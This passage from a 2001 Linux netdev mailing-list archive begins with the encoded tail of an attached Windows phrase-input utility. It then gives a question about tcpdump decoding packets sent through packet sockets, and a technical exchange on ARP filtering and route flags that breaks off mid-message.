bGRXaW5kb3dGcm9tUG9pbnQAAF4CV2luSGVscEEAAFVTRVIzMi5kbGwAAEYARGVsZXRlT2JqZWN0 AAALAUdldFRleHRNZXRyaWNzQQBKAVNlbGVjdE9iamVjdAAA+gBHZXRTdG9ja09iamVjdAAALABD cmVhdGVGb250SW5kaXJlY3RBAMcAR2V0RGV2aWNlQ2FwcwBDAERlbGV0ZURDAAAKAEJpdEJsdAAA BQFHZXRUZXh0RXh0ZW50UG9pbnQzMkEAgwFUZXh0T3V0QQAAcAFTZXRUZXh0QWxpZ24AAFEBU2V0 QmtNb2RlAEAAQ3JlYXRlU29saWRCcnVzaAAAHgBDcmVhdGVDb21wYXRpYmxlQml0bWFwAAAfAENy ZWF0ZUNvbXBhdGlibGVEQwAAYgBFeHRUZXh0T3V0QQByAVNldFRleHRDb2xvcgAA6gBHZXRPYmpl Y3RBAABHREkzMi5kbGwACQBHZXRPcGVuRmlsZU5hbWVBAAALAEdldFNhdmVGaWxlTmFtZUEAAGNv bWRsZzMyLmRsbAAAyQFSYWlzZUV4Y2VwdGlvbgAA5QFSdGxVbndpbmQA/gBHZXRNb2R1bGVIYW5k bGVBAAAoAUdldFN0YXJ0dXBJbmZvQQCqAEdldENvbW1hbmRMaW5lQQBMAUdldFZlcnNpb24AADYC U2V0VW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAGsARXhpdFByb2Nlc3MARgJUZXJtaW5hdGVQcm9j ZXNzAADTAEdldEN1cnJlbnRQcm9jZXNzAHIBSGVhcFNpemUAAFACVW5oYW5kbGVkRXhjZXB0aW9u RmlsdGVyAACWAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NBAJcARnJlZUVudmlyb25tZW50U3RyaW5n c1cA4QBHZXRFbnZpcm9ubWVudFN0cmluZ3MA4wBHZXRFbnZpcm9ubWVudFN0cmluZ3NXAACjAEdl dENQSW5mbwCdAEdldEFDUAAACQFHZXRPRU1DUAAAGwJTZXRIYW5kbGVDb3VudAAAKgFHZXRTdGRI YW5kbGUAAO8AR2V0RmlsZVR5cGUAbAFIZWFwRGVzdHJveQBqAUhlYXBDcmVhdGUAAF4CVmlydHVh bEZyZWUAWwJWaXJ0dWFsQWxsb2MAAIMBSXNCYWRSZWFkUHRyAACGAUlzQmFkV3JpdGVQdHIAgAFJ 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 AAAAAADECMiQAAAAAAQAIAAoAAQBLgAAAAAATABvAGMAYQB0AGUAIABwAGgAcgBhAHMAZQAAAAgA QQByAGkAYQBsAAAAAAACUAAAAAAMAAkANAAMAP////+CAEwAbwBjAGEAdABlACAAdwBoAGEAdAA6 AAAAAAAAAAAAgVAAAAAAQAAIAHgADgAABP//gQAAAAAAAAABAANQAAAAAMAACAA4AA4AAQD//4AA JgBMAG8AYwBhAHQAZQAAAAAAAAABUAAAAADAABgAOAAOAAIA//+AAEMAYQBuAGMAZQBsAAAAAAAA AMQIyJAAAAAABQAgACgAtABQAAAAAABzUY5OKHU3YuqBIJDNi+Vdd1EAAAkAi1tTTwAAAAADAABQ AAAAAAoACgAVABUA/////4IA//8ABgAAgQACUAAAAAAfAAoAgQAIAP////+CAK5fb4/8YvOXk49l UdVsAAAAAAEAAlAAAAAAHwAaAIEACAD/////ggAodTdi6oEgkM2L5V13USAAMgAuADAAIABIcgAA AAABAAJQAAAAAB8AKgCBAAgA/////4IASHJDZ0BiCWcoAEMAKQAgADEAOQA5ADYALQAxADkAOQA4 ACAArl9vj2xR+FMAAAAAAAABAANQAAAAAD8AOgA2AA4AAQD//4AAbniaWwAAAAAAAMQIyJAAAAAA BQAgACgAtABQAAAAAABBAGIAbwB1AHQAIABVAHMAZQByAC0AZABlAGYAaQBuAGUAZAAgAHAAaABy AGEAcwBlACAAdABvAG8AbAAAAAgAQQByAGkAYQBsAAAAAAABAAJQAAAAAAAACgC0AAgA/////4IA TQBpAGMAcgBvAHMAbwBmAHQAIABQAGkAbgBZAGkAbgAgAEkAbgBwAHUAdAAgAE0AZQB0AGgAbwBk AAAAAAABAAJQAAAAAAAAFgC0AAgA/////4IAVQBzAGUAcgAtAGQAZQBmAGkAbgBlAGQAIABwAGgA cgBhAHMAZQAgAHQAbwBvAGwAIABWAGUAcgBzAGkAbwBuACAAMgAuADAAAAAAAAAAAQACUAAAAAAA ACIAtAAIAP////+CAEMAbwBwAHkAcgBpAGcAaAB0ACAAKABjACkAIAAxADkAOQA2AC0AMQA5ADkA OAAgAE0AaQBjAHIAbwBzAG8AZgB0ACAAQwBvAHIAcAAuAAAAAAABAAJQAAAAAAAALgC0AAgA//// /4IAQQBsAGwAIAByAGkAZwBoAHQAIAByAGUAcwBlAHIAdgBlAGQAAAAAAAAAAQABUAAAAAA/ADwA NgAOAAEA//+AACYATwBLAAAAAADECMiQAAAAAAUAIAAoALQAUAAAAAAAQQBiAG8AdQB0ACAAVQBz AGUAcgAtAGQAZQBmAGkAbgBlAGQAIABwAGgAcgBhAHMAZQAgAHQAbwBvAGwAAAAIAEEAcgBpAGEA bAAAAAAAAQACUAAAAAAAAAoAtAAIAP////+CAE0AaQBjAHIAbwBzAG8AZgB0ACAAUABpAG4AWQBp AG4AIABJAG4AcAB1AHQAIABNAGUAdABoAG8AZAAAAAAAAQACUAAAAAAAABYAtAAIAP////+CAFUA cwBlAHIALQBkAGUAZgBpAG4AZQBkACAAcABoAHIAYQBzAGUAIAB0AG8AbwBsACAAVgBlAHIAcwBp AG8AbgAgADIALgAwAAAAAAAAAAEAAlAAAAAAAAAiALQACAD/////ggBDAG8AcAB5AHIAaQBnAGgA dAAgACgAYwApACAAMQA5ADkANgAtADEAOQA5ADgAIABNAGkAYwByAG8AcwBvAGYAdAAgAEMAbwBy AHAALgAAAAAAAQACUAAAAAAAAC4AtAAIAP////+CAEEAbABsACAAcgBpAGcAaAB0ACAAcgBlAHMA ZQByAHYAZQBkAAAAAAAAAAEAAVAAAAAAPwA8ADYADgABAP//gAAmAE8ASwAAAAAAhgAAAA4Arl9v j/xi85eTj2VR1WwodTdi6oEgkM2L5V13UQUA6oEgACCQIADNiwcASWwgAO2LIAD8YiAA85coAIdl LGeHZfZOIAAoACoALgB0AHgAdAApAHwAKgAuAHQAeAB0AHwAKHU3YuqBIJDNi4dl9k4oACoALgB1 AHAAdAApAHwAKgAuAHUAcAB0AHwABwAodTdi6oEgkM2L5V13UQYA94uTj2VRSWxXWwIwDgAiACUA cwAiACAALU4rVAlnXpctTodlV1smewIwFACTj2VRSWxXWzJOf5WmXpReKFcgADIAIADzgSAAJQBk ACAAS070lQIwDADgZdVsU2IAX4dl9k4gACIAJQBzACIAAjANANmPDU4vZgBOKk4odTdi6oEgkM2L h2X2TgIwCgDgZdVsfmIwUiAAIgAlAHMAIgACMAwAoWwJZ35iMFKuX2+P/GLzl5OPZVHVbAIwDgCH ZfZO8l3Pfu5POWUsACAAL2YmVIGJ3U9YWx//AgCLW1NPBQCFUVhbDU6zjQIwDQAiACUAcwAiACAA DU79gOpTBVMrVPOXA4wCMAUA6GyMUTFZJY0CMAUA6GwAlTFZJY0CMBMAh2UsZ4dl9k4gACgAKgAu AFQAWABUACkAfAAqAC4AdAB4AHQAfAAAABEAKHU3YuqBIJDNiw1O/YCFjcePIAA1ADAAMAAwACAA Kk4CMBUA4GXVbL+L7pXli4dl9k4M/+9T/YBja6uIdlGDW5ReKHULeo9ef08odQIwAgD8W2VRBwDm U1hbOk6HZSxnh2X2TgAAAAAAAAAAAAAAAAAAAAAhAE0AUwBQAFkAIABJAE0ARQAgAFUAcwBlAHIA LQBkAGUAZgBpAG4AZQBkACAAUABoAHIAYQBzAGUAIABUAG8AbwBsAAYAUABoAHIAYQBzAGUADwBS AGUAYQBkAGkAbgBnACgAUABpAG4AWQBpAG4AKQBAAFQAZQB4AHQAIABGAGkAbABlAHMAIAAoACoA LgB0AHgAdAApAHwAKgAuAHQAeAB0AHwAVQBzAGUAcgAtAGQAZQBmAGkAbgBlAGQAIABQAGgAcgBh AHMAZQAgAEYAaQBsAGUAcwAoACoALgB1AHAAdAApAHwAKgAuAHUAcAB0AHwAEwBVAHMAZQByAC0A ZABlAGYAaQBuAGUAZAAgAHAAaAByAGEAcwBlABwAUABsAGUAYQBzAGUAIABpAG4AcAB1AHQAIABD AGgAaQBuAGUAcwBlACAAcABoAHIAYQBzAGUALgAlACIAJQBzACIAIABjAG8AbgB0AGEAaQBuAHMA IABuAG8AbgAtAEMAaABpAG4AZQBzAGUAIABjAGgAYQByAGEAYwB0AGUAcgBzAC4AOQBOAHUAbQBi AGUAcgAgAG8AZgAgAGMAaABhAHIAYQBjAHQAZQByAHMAIABpAG4AIABhACAAcABoAHIAYQBzAGUA IABzAGgAbwB1AGwAZAAgAGIAZQB0AHcAZQBlAG4AIAAyACAAYQBuAGQAIAAlAGQALgAWAEMAYQBu AG4AbwB0ACAAbwBwAGUAbgAgAGYAaQBsAGUAIAAiACUAcwAiAC4AJwBUAGgAaQBzACAAaQBzACAA bgBvAHQAIABhACAAdQBzAGUAcgAtAGQAZQBmAGkAbgBlAGQAIABwAGgAcgBhAHMAZQAgAGYAaQBs AGUALgASACIAJQBzACIAIABpAHMAIABuAG8AdAAgAGYAbwB1AG4AZAAuAB0ASQBuAHQAZQBsAGwA aQBnAGUAbgB0ACAASQBNAEUAIABpAHMAIABuAG8AdAAgAGYAbwB1AG4AZAAuAB4AVABoAGUAIABm AGkAbABlACAAaQBzACAAbQBvAGQAaQBmAGkAZQBkACwAIABzAGEAdgBlACAAaQB0AD8ABgBTAGkA bQBTAHUAbgAOAE8AdQB0ACAAbwBmACAAbQBlAG0AbwByAHkALgAiACIAJQBzACIAIABzAGgAbwB1 AGwAZAAgAG4AbwB0ACAAYwBvAG4AdABpAGEAbgAgAHQAbwBuAGUAIABvAG4AbAB5AC4AAAARAEYA YQBpAGwAIAB0AG8AIAByAGUAZwBpAHMAdABlAHIALgATAEYAYQBpAGwAIAB0AG8AIAB1AG4AcgBl AGcAaQBzAHQAZQByAC4AGQBUAGUAeAB0ACAARgBpAGwAZQBzACAAKAAqAC4AdAB4AHQAKQB8ACoA LgB0AHgAdAB8AAAANQBOAHUAbQBiAGUAcgAgAG8AZgAgAFUAcwBlAHIALQBkAGUAZgBpAG4AZQBk ACAAcABoAHIAYQBzAGUAcwAgAGMAbwB1AGwAZAAgAG4AbwB0ACAAZQB4AGMAZQBlAGQAIAA1ADAA MAAwAC4AQwBGAGEAaQBsACAAdABvACAAbwBwAGUAbgAgAGYAaQBsAGUALgAgAEkAdAAnAHMAIABw AHIAbwBiAGEAYgBsAHkAIABiAGUAaQBuAGcAIAB1AHMAZQBkACAAYgB5ACAAYQBuAG8AdABoAGUA cgAgAGEAcABwAGwAaQBjAGEAdABpAG8AbgAuAAYASQBtAHAAbwByAHQADABTAGEAdgBlACAAYQBz ACAAdABlAHgAdAAAAAAAAAAAAAAAAAAAAAAAAAALAFAAVQBzAGUAcgBQAGgAcgBhAHMAZQAPAFAA VQBzAGUAcgBQAGgAcgBhAHMAZQBNAGUAbgB1AAYAUABUAGkAdABsAGUACABQAEQAaQBzAHAAbABh AHkADABQAEkATgBUAEwARwBOAFQALgBJAE0ARQAMAFAASQBOAFQATABHAE4AVAAuAEgATABQAAwA UABJAE4AVABMAEcATgBUAC4AQwBIAE0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ------=_NextPart_000_0075_011DB733.8CB73320-- From owner-netdev@oss.sgi.com Thu May 24 07:39:06 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4OEd6117875 for netdev-outgoing; Thu, 24 May 2001 07:39:06 -0700 Received: from grok.yi.org (IDENT:root@cx97923-a.phnx3.az.home.com [24.9.112.194]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f4OEd0F17867 for ; Thu, 24 May 2001 07:39:00 -0700 Received: from candelatech.com (IDENT:greear@localhost.localdomain [127.0.0.1]) by grok.yi.org (8.11.0/8.11.0) with ESMTP id f4OEplr31200 for ; Thu, 24 May 2001 07:51:48 -0700 Message-ID: <3B0D2003.CEB141C0@candelatech.com> Date: Thu, 24 May 2001 07:51:47 -0700 From: Ben Greear Organization: Candela Technologies X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17-14 i686) X-Accept-Language: en MIME-Version: 1.0 To: "netdev@oss.sgi.com" Subject: [Fwd: Question on tcpdump & funny looking packets sent with packet-sockets.] Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-netdev@oss.sgi.com Precedence: bulk Content-Length: 2428 Lines: 52 Ben Greear wrote: > > lf1 is transmitting this packet over and over, but with different > MAC addresses. The rest should be the same as the snippet > below pulled from Ethereal. (I'm testing traffic generator code.): > > 0000 00 30 71 88 c8 38 00 48 54 85 2f b8 08 00 45 00 .0q..8.H T./...E. > 0010 00 34 7e 91 40 00 40 06 2a 7a 18 09 70 c2 cf d4 .4~.@.@. *z..p... > 0020 39 19 08 64 11 5c 79 c4 d3 47 46 fa df 96 80 10 9..d.\y. .GF..... > 0030 7c 70 23 57 00 00 01 01 08 0a 17 df 04 dd 09 3a |p#W.... .......: > 0040 91 e9 .. > > However, when I snoop with tcpdump on lf1, it shows a wierd protocol in the > ethernet packet, as far as I can tell. I would expect to see a very similar > decode to the one on the receiving machine.: > > 08:21:35.538397 > 0:0:0:0:0:0 0:c0:95:e2:4c:c 0003 66: sap 00 > sap 45 I (s=0,r=26,P) len=48 > 7e91 4000 4006 2a7a 1809 70c2 cfd4 3919 > 0864 115c 79c4 d347 46fa df96 8010 7c70 > 2357 0000 0101 080a 17df 04dd 093a 91e9 > 4500 0034 7e91 4000 4006 2a7a 1809 70c2 > cfd4 3919 0864 115c 79c4 d347 46fa df96 > 8010 7c70 2357 0000 0101 080a 17df 04dd > 093a 91e9 > > The receiving machine, lf4, seems to decode the packet fine though: > > 17:23:48.518817 < 0:c0:95:e2:4c:c 0:0:0:0:0:1 0800 66: 24.9.112.194.2148 > 207.212.57.25.4444: . 0:0(0) ack 1 win 31856 (DF) > 4500 0034 7e91 4000 4006 2a7a 1809 70c2 > cfd4 3919 0864 115c 79c4 d347 46fa df96 > 8010 7c70 2357 0000 0101 080a 17df 04dd > 093a 91e9 > > lf1's ethernet card is a ZYNX tulip, which is acting a little funny, but seems to be > passing traffic ok in most cases. > > lf4's ethernet card is an Intel eepro, and I have no obvious problems with it. > > I'm running RH 7.1 with the 2.4.5-pre3 kernel. > > To grab the captures, I'm using this command: > tcpdump -nnex -p -i eth3 > > Are these normal traces to see? > > Thanks, > Ben -- Ben Greear President of Candela Technologies Inc http://www.candelatech.com ScryMUD: http://scry.wanfear.com http://scry.wanfear.com/~greear From owner-netdev@oss.sgi.com Thu May 24 18:02:20 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4P12Kp12840 for netdev-outgoing; Thu, 24 May 2001 18:02:20 -0700 Received: from saw.sw.com.sg (saw.swusa.com [207.214.125.61]) by oss.sgi.com (8.11.3/8.11.3) with SMTP id f4P12JF12837 for ; Thu, 24 May 2001 18:02:19 -0700 Received: (qmail 23561 invoked by uid 577); 25 May 2001 00:57:34 -0000 Message-ID: <20010524175734.A23528@saw.sw.com.sg> Date: Thu, 24 May 2001 17:57:34 -0700 From: Andrey Savochkin To: Julian Anastasov Cc: "David S. Miller" , ak@muc.de, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com Subject: Re: arpfilter merged, next part? References: <20010522214540.A17295@saw.sw.com.sg> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93.2i In-Reply-To: ; from "Julian Anastasov" on Wed, May 23, 2001 at 12:45:21PM Sender: owner-netdev@oss.sgi.com Precedence: bulk Content-Length: 3623 Lines: 91 Hi, On Wed, May 23, 2001 at 12:45:21PM +0300, Julian Anastasov wrote: > > On Tue, 22 May 2001, Andrey Savochkin wrote: > > > > Filtering by routes is not my dream but give me some days to > > > think on it (of course this patch #2 is not for 2.4.5, I hope :)). > > > > > > - In my case control over the announced source in the probe is needed > > > > You already have it, it's preferred source in your routes. > > Not always, I assume in my case the current rt_src will be used > which is in fact the same shared IP (it is local and can appear in rt_src You may specify any you IP for rt_src for outgoing routes, just be setting pref_src for them. If you put your shared IP (or omit pref_src), you'll certainly end up with a non-working configuration. Just set pref_src to an address that you want to appear in communications. > before arp_solicit), may be we will not reach this ip_route_output that > we are adding now. But I'll make some tests with #2 soon. > > > > - RTF_NOARPREPLY: is it for unicast routes only? The filtering isn't > > > for routes to local (ip_route_input)? > > > > I don't understand you well. > > RTF_NOARPREPLY is for local routes. > > Yes, the flag usage in arp.c is right but why it is defined in > include/linux/route.h where UNICAST routes only are created (I'm > looking in fib_semantics.c:fib_convert_rtentry). Is the flag for the > "route" command or for "ip route"? I meant it as a flag to be added to "ip route". "route" command operates in a dream world, and doesn't have a clue about real routing tables. > > Generally, receiving arp request we check if it's for our local address (by > > that ip_route_input). > > We ammend this check by additional one, whether ARP replies are disabled for > > this local address or not. > > So, do I need something like this (and flag in another .h file)?: > > ip route change table local local 10.0.0.1 dev eth0 noarpreply Kind of it, only I would use `ip route add'. > Not an atomic operation but 